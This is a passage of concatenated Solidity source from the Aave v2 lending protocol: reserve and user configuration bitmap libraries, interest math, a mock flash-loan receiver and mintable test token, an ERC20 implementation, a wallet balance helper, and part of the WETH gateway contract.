LIQUIDATION_THRESHOLD_MASK) | (threshold << LIQUIDATION_THRESHOLD_START_BIT_POSITION); } /** * @dev Gets the liquidation threshold of the reserve * @param self The reserve configuration * @return The liquidation threshold **/ function getLiquidationThreshold(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION; } /** * @dev Sets the liquidation bonus of the reserve * @param self The reserve configuration * @param bonus The new liquidation bonus **/ function setLiquidationBonus(DataTypes.ReserveConfigurationMap memory self, uint256 bonus) internal pure { require(bonus <= MAX_VALID_LIQUIDATION_BONUS, Errors.RC_INVALID_LIQ_BONUS); self.data = (self.data & LIQUIDATION_BONUS_MASK) | (bonus << LIQUIDATION_BONUS_START_BIT_POSITION); } /** * @dev Gets the liquidation bonus of the reserve * @param self The reserve configuration * @return The liquidation bonus **/ function getLiquidationBonus(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION; } /** * @dev Sets the decimals of the underlying asset of the reserve * @param self The reserve configuration * @param decimals The decimals **/ function setDecimals(DataTypes.ReserveConfigurationMap memory self, uint256 decimals) internal pure { require(decimals <= MAX_VALID_DECIMALS, Errors.RC_INVALID_DECIMALS); self.data = (self.data & DECIMALS_MASK) | (decimals << RESERVE_DECIMALS_START_BIT_POSITION); } /** * @dev Gets the decimals of the underlying asset of the reserve * @param self The reserve configuration * @return The decimals of the asset **/ function getDecimals(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION; } /** * @dev Sets the active state of the reserve * @param self The reserve configuration * @param active The active state **/ function setActive(DataTypes.ReserveConfigurationMap memory self, bool active) internal pure { self.data = (self.data & ACTIVE_MASK) | (uint256(active ? 1 : 0) << IS_ACTIVE_START_BIT_POSITION); } /** * @dev Gets the active state of the reserve * @param self The reserve configuration * @return The active state **/ function getActive(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~ACTIVE_MASK) != 0; } /** * @dev Sets the frozen state of the reserve * @param self The reserve configuration * @param frozen The frozen state **/ function setFrozen(DataTypes.ReserveConfigurationMap memory self, bool frozen) internal pure { self.data = (self.data & FROZEN_MASK) | (uint256(frozen ? 1 : 0) << IS_FROZEN_START_BIT_POSITION); } /** * @dev Gets the frozen state of the reserve * @param self The reserve configuration * @return The frozen state **/ function getFrozen(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~FROZEN_MASK) != 0; } /** * @dev Enables or disables borrowing on the reserve * @param self The reserve configuration * @param enabled True if the borrowing needs to be enabled, false otherwise **/ function setBorrowingEnabled(DataTypes.ReserveConfigurationMap memory self, bool enabled) internal pure { self.data = (self.data & BORROWING_MASK) | (uint256(enabled ? 1 : 0) << BORROWING_ENABLED_START_BIT_POSITION); } /** * @dev Gets the borrowing state of the reserve * @param self The reserve configuration * @return The borrowing state **/ function getBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~BORROWING_MASK) != 0; } /** * @dev Enables or disables stable rate borrowing on the reserve * @param self The reserve configuration * @param enabled True if the stable rate borrowing needs to be enabled, false otherwise **/ function setStableRateBorrowingEnabled( DataTypes.ReserveConfigurationMap memory self, bool enabled ) internal pure { self.data = (self.data & STABLE_BORROWING_MASK) | (uint256(enabled ? 1 : 0) << STABLE_BORROWING_ENABLED_START_BIT_POSITION); } /** * @dev Gets the stable rate borrowing state of the reserve * @param self The reserve configuration * @return The stable rate borrowing state **/ function getStableRateBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~STABLE_BORROWING_MASK) != 0; } /** * @dev Sets the reserve factor of the reserve * @param self The reserve configuration * @param reserveFactor The reserve factor **/ function setReserveFactor(DataTypes.ReserveConfigurationMap memory self, uint256 reserveFactor) internal pure { require(reserveFactor <= MAX_VALID_RESERVE_FACTOR, Errors.RC_INVALID_RESERVE_FACTOR); self.data = (self.data & RESERVE_FACTOR_MASK) | (reserveFactor << RESERVE_FACTOR_START_BIT_POSITION); } /** * @dev Gets the reserve factor of the reserve * @param self The reserve configuration * @return The reserve factor **/ function getReserveFactor(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION; } /** * @dev Gets the configuration flags of the reserve * @param self The reserve configuration * @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled **/ function getFlags(DataTypes.ReserveConfigurationMap storage self) internal view returns ( bool, bool, bool, bool ) { uint256 dataLocal = self.data; return ( (dataLocal & ~ACTIVE_MASK) != 0, (dataLocal & ~FROZEN_MASK) != 0, (dataLocal & ~BORROWING_MASK) != 0, (dataLocal & ~STABLE_BORROWING_MASK) != 0 ); } /** * @dev Gets the configuration paramters of the reserve * @param self The reserve configuration * @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals **/ function getParams(DataTypes.ReserveConfigurationMap storage self) internal view returns ( uint256, uint256, uint256, uint256, uint256 ) { uint256 dataLocal = self.data; return ( dataLocal & ~LTV_MASK, (dataLocal & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION, (dataLocal & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION, (dataLocal & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION, (dataLocal & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION ); } /** * @dev Gets the configuration paramters of the reserve from a memory object * @param self The reserve configuration * @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals **/ function getParamsMemory(DataTypes.ReserveConfigurationMap memory self) internal pure returns ( uint256, uint256, uint256, uint256, uint256 ) { return ( self.data & ~LTV_MASK, (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION, (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION, (self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION, (self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION ); } /** * @dev Gets the configuration flags of the reserve from a memory object * @param self The reserve configuration * @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled **/ function getFlagsMemory(DataTypes.ReserveConfigurationMap memory self) internal pure returns ( bool, bool, bool, bool ) { return ( (self.data & ~ACTIVE_MASK) != 0, (self.data & ~FROZEN_MASK) != 0, (self.data & ~BORROWING_MASK) != 0, (self.data & ~STABLE_BORROWING_MASK) != 0 ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title UserConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the user configuration */ library UserConfiguration { uint256 internal constant BORROWING_MASK = 0x5555555555555555555555555555555555555555555555555555555555555555; /** * @dev Sets if the user is borrowing the reserve identified by reserveIndex * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @param borrowing True if the user is borrowing the reserve, false otherwise **/ function setBorrowing( DataTypes.UserConfigurationMap storage self, uint256 reserveIndex, bool borrowing ) internal { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); self.data = (self.data & ~(1 << (reserveIndex * 2))) | (uint256(borrowing ? 1 : 0) << (reserveIndex * 2)); } /** * @dev Sets if the user is using as collateral the reserve identified by reserveIndex * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @param usingAsCollateral True if the user is usin the reserve as collateral, false otherwise **/ function setUsingAsCollateral( DataTypes.UserConfigurationMap storage self, uint256 reserveIndex, bool usingAsCollateral ) internal { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); self.data = (self.data & ~(1 << (reserveIndex * 2 + 1))) | (uint256(usingAsCollateral ? 1 : 0) << (reserveIndex * 2 + 1)); } /** * @dev Used to validate if a user has been using the reserve for borrowing or as collateral * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @return True if the user has been using a reserve for borrowing or as collateral, false otherwise **/ function isUsingAsCollateralOrBorrowing( DataTypes.UserConfigurationMap memory self, uint256 reserveIndex ) internal pure returns (bool) { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); return (self.data >> (reserveIndex * 2)) & 3 != 0; } /** * @dev Used to validate if a user has been using the reserve for borrowing * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @return True if the user has been using a reserve for borrowing, false otherwise **/ function isBorrowing(DataTypes.UserConfigurationMap memory self, uint256 reserveIndex) internal pure returns (bool) { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); return (self.data >> (reserveIndex * 2)) & 1 != 0; } /** * @dev Used to validate if a user has been using the reserve as collateral * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @return True if the user has been using a reserve as collateral, false otherwise **/ function isUsingAsCollateral(DataTypes.UserConfigurationMap memory self, uint256 reserveIndex) internal pure returns (bool) { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); return (self.data >> (reserveIndex * 2 + 1)) & 1 != 0; } /** * @dev Used to validate if a user has been borrowing from any reserve * @param self The configuration object * @return True if the user has been borrowing any reserve, false otherwise **/ function isBorrowingAny(DataTypes.UserConfigurationMap memory self) internal pure returns (bool) { return self.data & BORROWING_MASK != 0; } /** * @dev Used to validate if a user has not been using any reserve * @param self The configuration object * @return True if the user has been borrowing any reserve, false otherwise **/ function isEmpty(DataTypes.UserConfigurationMap memory self) internal pure returns (bool) { return self.data == 0; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IReserveInterestRateStrategyInterface interface * @dev Interface for the calculation of the interest rates * @author Aave */ interface IReserveInterestRateStrategy { function baseVariableBorrowRate() external view returns (uint256); function getMaxVariableBorrowRate() external view returns (uint256); function calculateInterestRates( address reserve, uint256 utilizationRate, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view returns ( uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate ); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {WadRayMath} from './WadRayMath.sol'; library MathUtils { using SafeMath for uint256; using WadRayMath for uint256; /// @dev Ignoring leap years uint256 internal constant SECONDS_PER_YEAR = 365 days; /** * @dev Function to calculate the interest accumulated using a linear interest rate formula * @param rate The interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate linearly accumulated during the timeDelta, in ray **/ function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { //solium-disable-next-line uint256 timeDifference = block.timestamp.sub(uint256(lastUpdateTimestamp)); return (rate.mul(timeDifference) / SECONDS_PER_YEAR).add(WadRayMath.ray()); } /** * @dev Function to calculate the interest using a compounded interest rate formula * To avoid expensive exponentiation, the calculation is performed using a binomial approximation: * * (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3... * * The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions * The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods * * @param rate The interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate compounded during the timeDelta, in ray **/ function calculateCompoundedInterest( uint256 rate, uint40 lastUpdateTimestamp, uint256 currentTimestamp ) internal pure returns (uint256) { //solium-disable-next-line uint256 exp = currentTimestamp.sub(uint256(lastUpdateTimestamp)); if (exp == 0) { return WadRayMath.ray(); } uint256 expMinusOne = exp - 1; uint256 expMinusTwo = exp > 2 ? exp - 2 : 0; uint256 ratePerSecond = rate / SECONDS_PER_YEAR; uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond); uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond); uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2; uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6; return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm); } /** * @dev Calculates the compounded interest between the timestamp of the last update and the current block timestamp * @param rate The interest rate (in ray) * @param lastUpdateTimestamp The timestamp from which the interest accumulation needs to be calculated **/ function calculateCompoundedInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { return calculateCompoundedInterest(rate, lastUpdateTimestamp, block.timestamp); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {FlashLoanReceiverBase} from '../../flashloan/base/FlashLoanReceiverBase.sol'; import {MintableERC20} from '../tokens/MintableERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; contract MockFlashLoanReceiver is FlashLoanReceiverBase { using SafeERC20 for IERC20; ILendingPoolAddressesProvider internal _provider; event ExecutedWithFail(address[] _assets, uint256[] _amounts, uint256[] _premiums); event ExecutedWithSuccess(address[] _assets, uint256[] _amounts, uint256[] _premiums); bool _failExecution; uint256 _amountToApprove; bool _simulateEOA; constructor(ILendingPoolAddressesProvider provider) public FlashLoanReceiverBase(provider) {} function setFailExecutionTransfer(bool fail) public { _failExecution = fail; } function setAmountToApprove(uint256 amountToApprove) public { _amountToApprove = amountToApprove; } function setSimulateEOA(bool flag) public { _simulateEOA = flag; } function amountToApprove() public view returns (uint256) { return _amountToApprove; } function simulateEOA() public view returns (bool) { return _simulateEOA; } function executeOperation( address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address initiator, bytes memory params ) public override returns (bool) { params; initiator; if (_failExecution) { emit ExecutedWithFail(assets, amounts, premiums); return !_simulateEOA; } for (uint256 i = 0; i < assets.length; i++) { //mint to this contract the specific amount MintableERC20 token = MintableERC20(assets[i]); //check the contract has the specified balance require( amounts[i] <= IERC20(assets[i]).balanceOf(address(this)), 'Invalid balance for the contract' ); uint256 amountToReturn = (_amountToApprove != 0) ? _amountToApprove : amounts[i].add(premiums[i]); //execution does not fail - mint tokens and return them to the _destination token.mint(premiums[i]); IERC20(assets[i]).approve(address(LENDING_POOL), amountToReturn); } emit ExecutedWithSuccess(assets, amounts, premiums); return true; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ERC20} from '../../dependencies/openzeppelin/contracts/ERC20.sol'; /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract MintableERC20 is ERC20 { constructor( string memory name, string memory symbol, uint8 decimals ) public ERC20(name, symbol) { _setupDecimals(decimals); } /** * @dev Function to mint tokens * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(uint256 value) public returns (bool) { _mint(_msgSender(), value); return true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Context.sol'; import './IERC20.sol'; import './SafeMath.sol'; import './Address.sol'; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance') ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, 'ERC20: transfer amount exceeds balance'); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, 'ERC20: burn amount exceeds balance'); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {Address} from '../dependencies/openzeppelin/contracts/Address.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; /** * @title WalletBalanceProvider contract * @author Aave, influenced by https://github.com/wbobeirne/eth-balance-checker/blob/master/contracts/BalanceChecker.sol * @notice Implements a logic of getting multiple tokens balance for one user address * @dev NOTE: THIS CONTRACT IS NOT USED WITHIN THE AAVE PROTOCOL. It's an accessory contract used to reduce the number of calls * towards the blockchain from the Aave backend. **/ contract WalletBalanceProvider { using Address for address payable; using Address for address; using SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; address constant MOCK_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** @dev Fallback function, don't accept any ETH **/ receive() external payable { //only contracts can send ETH to the core require(msg.sender.isContract(), '22'); } /** @dev Check the token balance of a wallet in a token contract Returns the balance of the token for user. Avoids possible errors: - return 0 on non-contract address **/ function balanceOf(address user, address token) public view returns (uint256) { if (token == MOCK_ETH_ADDRESS) { return user.balance; // ETH balance // check if token is actually a contract } else if (token.isContract()) { return IERC20(token).balanceOf(user); } revert('INVALID_TOKEN'); } /** * @notice Fetches, for a list of _users and _tokens (ETH included with mock address), the balances * @param users The list of users * @param tokens The list of tokens * @return And array with the concatenation of, for each user, his/her balances **/ function batchBalanceOf(address[] calldata users, address[] calldata tokens) external view returns (uint256[] memory) { uint256[] memory balances = new uint256[](users.length * tokens.length); for (uint256 i = 0; i < users.length; i++) { for (uint256 j = 0; j < tokens.length; j++) { balances[i * tokens.length + j] = balanceOf(users[i], tokens[j]); } } return balances; } /** @dev provides balances of user wallet for all reserves available on the pool */ function getUserWalletBalances(address provider, address user) external view returns (address[] memory, uint256[] memory) { ILendingPool pool = ILendingPool(ILendingPoolAddressesProvider(provider).getLendingPool()); address[] memory reserves = pool.getReservesList(); address[] memory reservesWithEth = new address[](reserves.length + 1); for (uint256 i = 0; i < reserves.length; i++) { reservesWithEth[i] = reserves[i]; } reservesWithEth[reserves.length] = MOCK_ETH_ADDRESS; uint256[] memory balances = new uint256[](reservesWithEth.length); for (uint256 j = 0; j < reserves.length; j++) { DataTypes.ReserveConfigurationMap memory configuration = pool.getConfiguration(reservesWithEth[j]); (bool isActive, , , ) = configuration.getFlagsMemory(); if (!isActive) { balances[j] = 0; continue; } balances[j] = balanceOf(user, reservesWithEth[j]); } balances[reserves.length] = balanceOf(user, MOCK_ETH_ADDRESS); return (reservesWithEth, balances); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IWETH} from './interfaces/IWETH.sol'; import {IWETHGateway} from './interfaces/IWETHGateway.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {IAToken} from '../interfaces/IAToken.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol'; import {Helpers} from '../protocol/libraries/helpers/Helpers.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; contract WETHGateway is IWETHGateway, Ownable { using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; IWETH internal immutable WETH; ILendingPool internal immutable POOL; IAToken internal immutable aWETH; /** * @dev Sets the WETH address and the LendingPoolAddressesProvider address. Infinite approves lending pool. * @param weth Address of the Wrapped Ether contract * @param pool Address of the LendingPool contract **/ constructor(address weth, address pool) public { ILendingPool poolInstance = ILendingPool(pool); WETH = IWETH(weth); POOL = poolInstance; aWETH = IAToken(poolInstance.getReserveData(weth).aTokenAddress); IWETH(weth).approve(pool, uint256(-1)); } /** * @dev deposits WETH into the reserve, using native ETH. A corresponding amount of the overlying asset (aTokens) * is minted. * @param onBehalfOf address of the user who will receive the aTokens representing the deposit * @param referralCode integrators are assigned a referral code and can potentially receive rewards. **/ function depositETH(address onBehalfOf, uint16 referralCode) external payable override { WETH.deposit{value: msg.value}(); POOL.deposit(address(WETH), msg.value, onBehalfOf, referralCode); } /** * @dev withdraws the WETH _reserves of msg.sender. * @param amount amount of aWETH to withdraw and receive native ETH * @param to address of the user who will receive native ETH */ function withdrawETH(uint256 amount, address to) external override { uint256 userBalance = aWETH.balanceOf(msg.sender); uint256 amountToWithdraw = amount; // if amount is equal to uint(-1), the user wants to redeem everything if (amount == type(uint256).max) { amountToWithdraw = userBalance; } aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); POOL.withdraw(address(WETH), amountToWithdraw, address(this)); WETH.withdraw(amountToWithdraw); _safeTransferETH(to, amountToWithdraw); } /** * @dev repays a borrow on the WETH reserve, for the specified amount (or for the whole amount, if uint256(-1) is specified). * @param amount the amount to repay, or uint256(-1) if the user wants to repay everything * @param rateMode the rate mode to repay * @param onBehalfOf the address for which msg.sender is repaying */ function repayETH( uint256 amount, uint256 rateMode, address onBehalfOf ) external payable override { (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebtMemory(onBehalfOf, POOL.getReserveData(address(WETH))); uint256 paybackAmount = DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.STABLE ? stableDebt : variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } require(msg.value >= paybackAmount, 'msg.value is less than repayment amount'); WETH.deposit{value: paybackAmount}(); POOL.repay(address(WETH), msg.value, rateMode, onBehalfOf); // refund remaining dust eth if (msg.value > paybackAmount) _safeTransferETH(msg.sender, msg.value - paybackAmount); } /** * @dev borrow WETH, unwraps to ETH and send both the ETH and DebtTokens to msg.sender, via `approveDelegation` and onBehalf argument in `LendingPool.borrow`. * @param amount the amount of ETH to borrow * @param interesRateMode the interest rate mode * @param referralCode integrators are assigned a referral code and can potentially receive rewards */ function borrowETH( uint256 amount, uint256 interesRateMode, uint16 referralCode ) external override { POOL.borrow(address(WETH), amount, interesRateMode, referralCode, msg.sender); WETH.withdraw(amount); _safeTransferETH(msg.sender, amount); } /** * @dev transfer ETH to an address, revert if it fails. * @param to recipient of the transfer * @param value the amount to send */ function _safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'ETH_TRANSFER_FAILED'); } /** * @dev transfer ERC20 from the utility contract, for ERC20 recovery in case of stuck tokens due * direct transfers to the contract address. * @param token token to transfer * @param to recipient of the transfer * @param amount amount to send */ function emergencyTokenTransfer( address token, address to, uint256 amount ) external onlyOwner { IERC20(token).transfer(to, amount); } /** * @dev transfer native Ether from the utility contract, for native Ether recovery in case of stuck Ether * due selfdestructs or transfer ether to pre-computated contract address before deployment. * @param to recipient of the transfer * @param amount amount to send */ function emergencyEtherTransfer(address to, uint256 amount) external onlyOwner { _safeTransferETH(to, amount); } /** * @dev Get WETH address used by WETHGateway */ function getWETHAddress() external view returns (address) { return address(WETH); } /** * @dev Get aWETH address used by WETHGateway */ function getAWETHAddress() external view returns (address) { return address(aWETH); } /** * @dev Get LendingPool address used by WETHGateway */ function getLendingPoolAddress() external view returns (address) { return address(POOL); } /** * 